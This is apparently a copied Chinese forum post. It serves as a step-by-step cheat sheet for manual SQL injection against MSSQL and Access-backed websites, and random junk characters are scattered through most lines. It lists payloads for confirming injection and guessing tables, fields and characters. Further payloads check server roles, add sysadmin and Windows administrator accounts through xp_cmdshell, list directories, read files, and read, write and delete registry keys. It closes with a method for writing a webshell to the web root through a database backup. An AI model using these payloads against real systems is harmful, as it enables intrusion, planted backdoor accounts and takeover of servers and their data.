手工脚本注入
6 G% d* S }4 y1.判断是否有注入;and 1=1 ;and 1=2 & {# \; ~1 d- k4 u
! a* _7 ^- f6 r8 {% {" b/ \9 M! g6 W2.初步判断是否是mssql ;and user>0 5 l) @7 W* B0 C$ q- l% R
+ Z; E2 v. H$ \7 o0 ]
3.注入参数是字符'and [查询条件] and ''=' / A5 A* B, U j) M! c& O
# V+ i( q" t( n1 }# H4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6 i- K( F$ W2 F4 G' }. I9 _2 o
+ D& ]$ _ h& z& d
5.判断数据库系统
, k- r. g; H! r8 G. I# f$ };and (select count(*) from sysobjects)>0 mssql 3 Z3 ~ |! c/ K0 c. o. X8 Y8 h
;and (select count(*) from msysobjects)>0 access
" G3 f& i6 [5 X; x0 x; ]+ g; a9 \, ~ L6 G# H
6.猜数据库 ;and (select Count(*) from [数据库名])>0
( Y) f% r4 ]5 U5 w- h4 a* ]! V; Q# A5 b/ u& Y2 q8 O
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
+ h. `! V6 r8 p: b, |2 P2 _) _, T( n# Y r" K7 o$ E: ]
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 + M0 R3 Y: Y, \# I
' m9 E/ z. u' X0 P
9.(1)猜字段的ascii值(access) % n! G4 M. \8 x
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 % p2 W9 R; q2 y, v
! v$ S' r; N" F6 D3 [(2)猜字段的ascii值(mssql) $ g; Y* K0 M8 ?9 n% |6 }
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 . T0 f/ h5 w9 a8 z1 ~
0 Q k, l: b& |: b* K4 b10.测试权限结构(mssql) - L# k1 `6 ^7 H/ {! j
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- |, G5 }5 o+ p;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1 T0 o* X2 _. Q4 B* m
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
/ }1 f& E( q }) u, j8 C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
& ]' {& r6 e2 x$ q( r1 u;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
0 f7 |* [, l% n; g+ o8 r;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- & a. z4 B) Y9 U' G
;and 1=(select IS_MEMBER('db_owner'));-- 7 Y u' e& T, I# i2 P; q+ e
* q1 y) B; y% x Z# R11.添加mssql和系统的帐户
* A; L4 w: h' W5 D! q# V;exec master.dbo.sp_addlogin username;-- / {( a" w, y. ?) v
) L- H% O6 w( ]1 h' j! V1 |$ h;exec master.dbo.sp_password null,username,password;-- " G5 s% D: n+ U, [1 q4 V; I
: }. g+ o- M( u5 L6 H6 b$ _5 l) k;exec master.dbo.sp_addsrvrolemember sysadmin username;--
+ W9 W; G* a9 I; M& g$ T
}! G8 B0 j1 }/ O. i0 w;exec master.dbo.xp_cmdshell 'net user username password
4 j$ D) ~& D5 R. r3 \/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- . k) J' X& ]8 E" P6 B! W- u. ?
+ `6 L% X- f& D, D1 j3 E+ l;exec master.dbo.xp_cmdshell 'net user username password /add';--
( k2 ^* I8 K2 m, h' A5 s" ~' X( p3 r4 u6 p2 Q5 y8 X
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
; A a5 y& O9 [! j
8 s" t) J9 R3 @7 W9 P, j12.(1)遍历目录
" J* {; R0 b! F: Z3 [& |8 a( ~
" C5 i, c1 n" C: j x A;create table dirs(paths varchar(100), id int) : F& E. K/ t; {5 N3 p$ f1 l
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1 C* E, _ S& r1 G) i- J
;and (select top 1 paths from dirs)>0 % C/ Q9 n- v8 \7 P9 g; [+ C
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) , u% Y% g4 I/ ?2 }7 h2 B* i
3 e5 C/ s) I6 R {$ O(2)遍历目录
) G0 N. b! o' w3 i1 W;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 {' j3 g. @6 w$ }4 D;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 E4 i+ C3 \4 G2 d |( S, ]6 i;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
* Z( B( a! O+ s;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4 X$ y4 g# Q' W% M! y! i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 + s( l/ {6 D4 `5 { _
/ R& a' \9 c# w7 i5 T4 B, l- f13.mssql中的存储过程
1 E# F! k! A @ R) q* A: J" [( w+ `% }( |: o( _ V# L8 n, ^
xp_regenumvalues 注册表根键, 子键
& V9 d& o& R8 b0 y;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: [/ }3 T' D& c$ C1 i2 _) K7 a1 k( ~
xp_regread 根键,子键,键值名 2 f& e- p8 _! @* j% U& {
;exec xp_regread % c% t' v' c5 S, X3 I9 W- L/ D
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ) g" t! q% ]3 l }. n* h
* G3 ` v; ^8 T0 ^0 dxp_regwrite 根键,子键, 值名, 值类型, 值 ) s" k* `9 S3 A% f( W# K
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
) M5 {+ [$ _; a, e;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ! M+ W5 p" g3 I2 k9 r
* y% h4 t1 a1 N) I, v) D/ k
xp_regdeletevalue 根键,子键,值名
" l \( S z* f+ w4 x6 w/ C$ U+ ~$ q- \5 }, p
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 * w# h6 [- d6 N z3 o
, }4 f- |& {; B: o0 {! f) i Lxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0 x" P. J0 P/ x. }4 E
9 l+ K* E* \* k2 q; [
14.mssql的backup创建webshell
" P& D: D* v' h: E7 o5 Q$ w7 q0 ]& ~use model
, f( I6 D% z+ \) h) }) u3 Rcreate table cmd(str image); 7 Z6 i& Q* q( E" e' T8 i4 A) b. W
insert into cmd(str) values ('');
- M) N+ w5 T/ q6 U( tbackup database model to disk='c:\l.asp';
% J4 U) E) x# }3 [4 r. z* s
" ~: W$ y0 c: O& C15.mssql内置函数 % c9 P- u, P7 s' q* \2 ?! t
;and (select @@version)>0 获得Windows的版本号
! n+ l; m) g/ L;and user_name()='dbo' 判断当前系统的连接用户是不是sa % h0 {& L) |* ?2 M
;and (select user_name())>0 爆当前系统的连接用户 N9 w4 X9 K' ^6 U: \
;and (select db_name())>0 得到当前连接的数据库 , C1 Y$ G8 Y, ^/ G+ J
8 ? ^/ o2 _9 P- ^% Y16.简洁的webshell
' a' z" c) U3 q- e) j7 T6 K9 H# `
* V1 b+ {$ I# N8 K, R7 F3 Cuse model
0 p' S; @' v/ f2 s0 u1 u0 s7 |( z9 H( z# E- l* n1 x
create table cmd(str image); . M! z$ E7 Z: F4 e7 Y/ E
* o7 h# `( V" s* ^2 A* A
insert into cmd(str) values (''); $ Y4 T# E$ B f) \! R: W8 Z
& S8 m6 M8 e% k; v9 b7 hbackup database model to disk='g:\wwwtest\l.asp'; 6 K' n) O4 x1 A" @
0 D' v' P4 I! p! k5 l
|